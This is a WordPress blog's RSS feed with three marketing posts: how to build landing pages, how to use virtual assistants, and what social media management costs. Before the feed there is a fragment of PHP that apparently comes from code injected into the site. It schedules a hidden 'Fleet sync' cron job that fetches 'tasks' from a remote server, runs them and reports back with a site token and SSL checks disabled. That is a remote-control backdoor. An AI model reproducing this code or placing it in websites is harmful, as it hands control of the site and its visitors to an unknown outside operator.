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update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); Tools Archives - Social Media Dudes https://socialmediadudes.com/category/tools/ Sun, 17 Jan 2021 13:52:42 +0000 en-US hourly 1 https://socialmediadudes.com/wp-content/uploads/2020/02/cropped-Social-Media-Dudes-1-32x32.png Tools Archives - Social Media Dudes https://socialmediadudes.com/category/tools/ 32 32 How to Showcase Your Products and Services on Landing Pages https://socialmediadudes.com/how-to-showcase-your-products-and-services-on-landing-pages/?utm_source=rss&utm_medium=rss&utm_campaign=how-to-showcase-your-products-and-services-on-landing-pages Sat, 23 Jan 2021 06:48:00 +0000 https://socialmediadudes.com/?p=1053 The post How to Showcase Your Products and Services on Landing Pages appeared first on Social Media Dudes.

]]> Many marketers set up email, advertising or social media campaigns and direct their prospects and customers to the landing pages of their website. However, if you don’t properly showcase your products and services on your landing page, those pages don’t convert.  And that means you might as well throw money right down the drain. It is simply a waste of hard-earned marketing dollars.

The purpose of a website page is to display general information about your business and your products and services. Each page has several links encouraging the visitor to explore. This is why landing pages are so significant. There are mainly 2 types: lead generation pages allow you to collect email addresses in order to launch a nurturing program and informative pages, on the other hand, aim to provide enough information about a product or service to encourage the purchase.

Landing pages can also be used for event or webinar registrations, newsletter subscriptions, content downloads or any other marketing initiative.

A landing page is created for one goal, one post, and one potential click. Remove all distractions so your visitors have a clear view of the action to be taken. Create a landing page for each campaign with a specific objective.

A successful page takes more than putting together some pretty pictures, some text, and a call to action. Think about your goal, your strategy, add a little creativity and make sure to monitor your performance indicators.

What is a landing page for and what is it for?

A landing page is mainly used in the context of an advertising campaign. It is, therefore, a page specifically created to welcome your visitor and quickly strengthen the offer you are advertising.

If the visitor is on this page, your ad has piqued their interest. It, therefore, remains to complete the argument and finish convincing him.

A landing page is essential to the success of your campaign

The major goal of a landing page is adaptation. All the elements of this page must therefore be designed in order to get the Internet user to take a defined action: buy a product or a service, subscribe to a newsletter, fill out a form, watch a video, etc… It is therefore essential to clearly define your objective before starting the design.

Even today, I too often hear goals based on the number of visitors. A landing page will be a success if your target engages. Even if you manage to get your page to 10,000 people, if you convert 2, it will be a failure.

Why?

For a page to be displayed in the results of a search in search engines like Google, the text that composes it must be considered relevant to the research.
Basically, if you want your site to show up when someone searches for the term “Home Spirit sofa”, you need to have a page that talks about Home Spirit sofas. It’s the minimum.

The basics: characteristics of a sales page that converts

In theory, creating a sales page should be pretty straightforward. The goal? Provide enough information to the customer to persuade them of the effectiveness of your product and allow them to justify their purchasing decision. Rosara Joseph, a content strategy expert at Venture Web, elaborates:

“The ultimate goal of your sales pages should be to give visitors confidence and provide all the information required to make an informed buying decision and make the process as smooth as possible.”

At this point, you probably need some practical information to get a better idea of ​​things.

Here are 4 tips for creating landing pages that convert.

1.   Create a good first impression!

Did you know that it only takes about 50 milliseconds (0.05 seconds) for a human to form an opinion on your website? This means that your overall design, structure, colors, font, spacing and amount of text should be developed with short intervals of visitor attention in mind.

When it comes to landing page design, clean and elegant are goals to achieve. Don’t fill every empty space on your page with text and graphics. Keep it simple and clutter-free. Remember, you want visitors to remember ONE message and take ONE action.

2.   Use a simple and interesting message!

Landing pages are not the right place to display all your different promotions or try to quote all the possible and imaginable features and benefits of a product.

Match your message – that is, your headlines, writings and calls to action – with the precise intent of the visitor. For example, if a visitor clicked on an ad to get an eBook, promote the value of that book.

What will the visitor get from his reading? Compelling text is key, no matter how spectacular your design is. Pique the reader’s curiosity with an inspiring or intriguing headline. The body of the text must be relevant, clear and oriented towards solutions. Avoid using “we” and focus it all on “you”.

3.   Limit content above the waterline!

Although some experts claim that people hate scrolling a page, this is not necessarily true. Evidence to the contrary exists everywhere. People have no problem scrolling if the page is designed for it and the content is eye-catching.

That being said, above the waterline is still the place readers will go first. Make sure to include a headline, subhead, call to action and a strong image to engage visitors. You can always add benefits and recommendations later in your page.

4.   Use calls to action!

If you add multiple links and buttons, visitors will inevitably be attracted by the call-to-action. Ideally, use two to three calls to action on your page. However, give readers only one option: subscribe, subscribe, download, buy, etc. Make sure the button text is clear. Now is not the time to show that you know the more complex words in the dictionary.

Indeed, make sure that what will happen after the click is clear, both from the point of view of the design and the message. For example, if the call to action indicates registering for a webinar, the next page and/or email should detail the next steps and include the date and time as well as the link to log in. Make the process as easy as possible so that visitors are rewarded for their action with an enjoyable, hassle-free experience.

Your landing pages have a big impact on the success of your overall marketing campaigns. After all, you invest a lot of resources in attracting leads and upselling your existing customers. Encouraging these initiatives with attractive landing pages can only be beneficial.

 

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The post How to Showcase Your Products and Services on Landing Pages appeared first on Social Media Dudes.

]]> How To Use A Virtual Assistant! https://socialmediadudes.com/how-to-use-a-virtual-assistant/?utm_source=rss&utm_medium=rss&utm_campaign=how-to-use-a-virtual-assistant Fri, 18 Sep 2020 11:38:06 +0000 https://socialmediadudes.com/?p=985 The post How To Use A Virtual Assistant! appeared first on Social Media Dudes.

]]> Calling on virtual assistants to help you set up your project can be difficult if you have just started your business, and your budget has also just started … But as you develop and your time will become more and more precious, outsourcing certain aspects of your business to independent professionals can be a great source of help.

Some tasks may be left entirely to a third party, while others are part of a whole in which you must also participate. Either way, being able to rely on someone else makes you less stressed, more productive, and even earns more money (because you’re focusing on what you’re really good at). What else?

The right person can sometimes even ensure the proper development of your business without you having to intervene too much. But while you will have to get involved at one point or another, the benefits are indisputable.

Let’s take a closer look at how you go about finding all the help you need, including areas you might not have thought of.

Recruitment and administration

Most businesses, whether internet-based or not, usually use an assistant first. Virtual assistants work exclusively online and do all your administrative tasks for you. They are sometimes specialized in a particular field, for example, the management of social networks.

A virtual assistant can perform several administrative tasks for you, such as:

  • Organize meetings
  • Process your emails
  • Train your new recruits
  • Respond to your customers’ emails
  • Sales/appointment management Manage your documents and keep your databases up to date 
  • Schedule interviews/guest posting opportunities 
  • Perform customer service 
  • Manage social media 
  • Reach out to potential joint venture opportunities 
  • Update your web site/post blog posts

Some of these tasks may take you a minute to get comfortable with having someone do on your behalf.  But take it from me.  The more you use your VA, the easier and more effective your relationship will be for both of you.

Encourage them to ask you as many questions as he needs before throwing him in the deep end. The clearer that you are on what you want done, the better job they will do.

Research

Having your VA perform research for your business is one of the most useful tasks to have them do and which can have a massive impact on your business. . Some of the things that can be researched by your VA are:

  • Find relevant links and statistics to publish a blog post
  • Create a comparative report on prices, advantages and disadvantages, and all other data to help you better manage your business or make you more aware of what your competitors are up to.
  • Monitor the news in your sector to select the best information to relay via social networks

Your VA (aka “research assistant”) is your Google in the flesh. When you’re ready to hire a virtual assistant, think about the research you need for projects you want to accomplish that will take you time (without requiring a high level of expertise). Then write out general guidelines for the information you seek, as well as useful resources and your preferred presentation format.

Design and graphics

If you have little or no graphic design experience, don’t try to learn everything in record time when your time would be more profitable doing something else. Knowing the basics is good. But let the professionals do their job. You’ll get better results, faster.

The term “design” can refer to many things, depending on your business and your needs. Here are the fundamentals common to all companies:

Graphic design: brand assets (logos, style guide, letterhead), social networks (cover image), blog post graphics, etc.

  • Web design: the look, feel, and structure of your website.
  • Photography: portraits and stock images for your website.
  • Video: content (to explain how your products work, for example) or marketing,

Whether it is scheduling, performing the task, editing/touching up, many VA’s can perform this at a high level.

Marketing

Without marketing, no one will know the products and services your business provides. Because to prospective customers, your business doesn’t exist.   In other words, you need to be marketing your business at all times.  When you first start out in business, it is typical you are doing either marketing or sales.  Having a VA can let you do the things that bring in more profits into your business as you focus on those activities.

There are many aspects to a marketing strategy. How can a VA help your marketing efforts?

  • Engage with consumers via email
  • Optimize the organic SEO of your website to increase traffic
  • Use marketing content to convert your visitors into customers
  • Use social networks to build good relationships with your customers and increase your sales
  • Automate reminders and follow-ups based on your customers’ behavior on multiple channels
  • Appear among the relevant results of internet searches thanks to CPC-based advertising (cost per click)
  • Use press relations and influencers to reach new audiences
  • Keep information on all these channels up to date.

This is an area where having a VA work on your behalf can put you ahead of your competition.  I have listed some very different skill sets above, so expect that you may need more than one to get everything done.  That is the beauty of having a VA.  They don’t have to be a 40 hour a week expense.  You can hire them part time to do a few hours a week (or whatever your budget can handle at the moment)

Sales

Hiring a full-time sales person or team for many companies can be a non-starter.  Especially, if you aren’t earning a bunch yet.  You might consider bringing in affiliate marketers to get the word out about your business and the products/services you offer. They will target and promote your services to their (usually large) audience in exchange for a commission on each sale.

Use your VA to research, find and built those affiliate relationships to the point they will bring you in to close the deal.

Create processes /polices

Perhaps you have been going so hard at your business that you either haven’t sat down (or just procrastinated doing so) implementing repeatable processes that insures your business runs smoothly.  Or maybe you never got around to creating terms and conditions for sales, return policies, customer service tracking, etc. (you can see the list can be long).  Maybe you need to implement a workflow that automates the work to move from one person to another?  Use your VA to do this for you by drafting documents that you sign off on.  There is nothing worse than a policy that you do not agree with being implemented on your behalf that puts you in a bad light with customers/prospects.  Take the time to review these items before putting them into practice.

Your takeaway…

Whether you hire one or a team of virtual assistants, there is no end in the ways they can help you automate your business processes and boost your business like never before!   Offloading the non-income generating tasks to a VA can be like jet fuel for your business when done correctly.

To do it right, start small and plan as your business grows, based on your needs. Start with the mundane, repeatable tasks.  When you see how much time that frees up for you, you can begin to expand on the concept.

Call To Action

Hiring a virtual assistant can be made easier when you follow an on-boarding procedure.  And you are in luck!  I have a free Virtual Assistant Onboarding Checklist for you.  Don’t minimize thinking that you got this.  A surprisingly high number of VA’s leave because they haven’t been properly given everything they need to do their job. It gives you guidelines and a checklist of everything you need to get your VA up and running as soon as possible.  Click here for the checklist.

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The post How To Use A Virtual Assistant! appeared first on Social Media Dudes.

]]> A Quick Guide To Social Media Management Pricing! https://socialmediadudes.com/a-quick-guide-to-social-media-management-pricing/?utm_source=rss&utm_medium=rss&utm_campaign=a-quick-guide-to-social-media-management-pricing Wed, 27 May 2020 19:58:10 +0000 https://socialmediadudes.com/?p=834 [et_pb_section fb_built=”1″ _builder_version=”4.4.3″ custom_padding=”0px||0px||true|false” hover_enabled=”0″][et_pb_row _builder_version=”4.4.3″][et_pb_column _builder_version=”4.4.3″ type=”4_4″][et_pb_text _builder_version=”4.4.3″ hover_enabled=”0″] What You Need to Know About Social Media Marketing!   […]

The post A Quick Guide To Social Media Management Pricing! appeared first on Social Media Dudes.

]]> [et_pb_section fb_built=”1″ _builder_version=”4.4.3″ custom_padding=”0px||0px||true|false” hover_enabled=”0″][et_pb_row _builder_version=”4.4.3″][et_pb_column _builder_version=”4.4.3″ type=”4_4″][et_pb_text _builder_version=”4.4.3″ hover_enabled=”0″]

What You Need to Know About Social Media Marketing!

 

Whether you decide to manage your business’ social media or to outsource it is a decision you should not take lightly. Putting together a social media calendar and maintaining it takes a good bit of effort. But however you decide to go ultimately, it is best that you understand the following:

Social media is critical to your business because it allows you to reach people organically locally, regionally, nationally or even can touch potential customers internationally!

So, when it comes to social media, you want your actions to enhance your company/brand’s overall prominence. And when you do so, if you decide to outsource this, be sure you are not just going on price alone. Just because your kids’ friends knows about social media networks doesn’t mean they understand your business and the objectives you are wanting to achieve.

What do you want to achieve with your social media marketing?

There is a saying “Know what you want to achieve and work backwards”. The same can be said about social media marketing. You want to be clear on the objectives you are wanting to achieve.

A small sampling of your objectives might be:

  • Position your brand as the go to authority – Demonstrating your authority in a particular space helps to build brand awareness and positions your company (and you) as an expert.
  • Generate traffic to your website – Having a large social media presence is great, but useless if it isn’t driving people to where you make sales…your website! This requires a deliberate approach, including relevant content and appropriate timing. And if you aren’t posting regular blog posts to your site, consider outsourcing this.
  • Increase subscribers to your email list – Maintaining a meaningful relationship with prospects is critical to the know/like/trust aspect of marketing. To get their attention initially, you must create persistent, attention getting calls to action. Then once you have them, nothing is more critical than turning those leads into full-fledged customers. To be clear, doing that is going to require more than just social media to get the job done!)

Once you understand what it is you want to achieve, you can begin to formulate a social media program. Then determine which social media platform(s) your ideal customer is likely to be and put together a social media calendar. Keep in mind your ideal customer may not be hanging out in the places you may be typically thinking, so take the time to do some research to insure you are working the appropriate platforms.

What kind of social media packages are available for your business?

If you decide this is more than you want to take on, most social media management agencies will offer multiple packages for you to choose from. They can range from posting content on a single platform to something more robust that is going to encompass multiple social networks. By understanding the objectives for your business (see above), you can determine exactly what you need to spend.

For most small businesses or start-ups, a package containing one post a day of relevant content is the minimum needed.

And if you are just starting out, begin with just one network to maintain. Get a better understanding of your ideal customer and their needs before expanding to additional social media platforms. Save yourself a bunch of money and do well there first!

What sort of social media management packages are there and why the price difference?

Package deliverables and pricing is dependent really on how much work you are asking the agency to perform on your behalf.

To be sure, there is no one size fits all approach to social media management. What you can expect to see most often are package levels (typically in ascending costs) that include:

  • Content only – Posting a certain number a times either per day/week or month
  • Interacting relationship on your behalf – This is replying, communicating, updating posts for you on a daily, weekly, or monthly basis
  • Direct/Indirect Outreach – this may be to attract media exposure, gain new followers, reaching out to potential partners/cross-sellers, etc
  • Objective strategy – this may involve a campaign of some sort where reporting is communicated regularly in order to adjust/optimize results

Pricing can be as low as $50 @ month for generic posts (Social Media Dudes doesn’t advocate buying this service at this price because they feel the results are “generic” as well). Take these for what they are, automated programs that produce posts according to topics you choose. They are neither company nor brand specific. While you will have a social media presence, you should not expect relationships or building a community with these types of posts.

The next step up is in the $100 – $200 @ month range where you will have daily posts that are designed to be specific to you/your company/service. They are branded posts typically once a day to one social network platform. These will do the heavy lifting and you can add your own engagement if you want to begin building community. This is a range that can accommodate many small or start-up businesses.

In the $201-$500 @ month category, you are going to get a hybrid of the $100-$200 offerings. It will includes more posts spread across multiple platforms and will also provide a level of metrics for your efforts. There is likely to be a level of engagement involved from the agency handling these tasks for you. It will definite increase you visibility and provoke (or should) more engagement from your community.

Prices definitely go up from here and can go to the tens of thousands of dollars a month. Typically, there are campaigns around these that are designed to drive traffic, deepen relationships and include sales conversions. The reason that there is a wide variance is dependent on the number of social networks you want to have a presence on (don’t spread yourself too thin), the velocity that you want to increase your presence and the ability to make tweaks to optimize the results. These campaigns will definitely strengthen your brand and broaden the awareness around it. This is where it can become tricky because sometimes the ROI (Return On Investment) isn’t always directly attributable to the efforts made on your behalf social media wise.

Your takeway…

The management of your social media for your company/brand is not something you should take lightly or do based on price alone. Make sure that the people you are dealing with understand your business and what your objectives are before embarking on having a presence. The returns are a “cumulative effort” in that one post or tweet is not something you are going to be able to point to and indicate that is where the business came from. Probably like pounding on a rock, it is the last strike that cracks it, but all of the other strikes were necessary in order for that to happen. And if you don’t feel comfortable with the people doing the work on your behalf, trust your gut. Don’t let a low price have you make a bad decision that you are going to regret. When done well, social media can be a game changer for your business. Finally, just because you may not use or believe in social media, your customers feel otherwise. It is a tool that every business needs in their tool box.

 

 

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The post A Quick Guide To Social Media Management Pricing! appeared first on Social Media Dudes.

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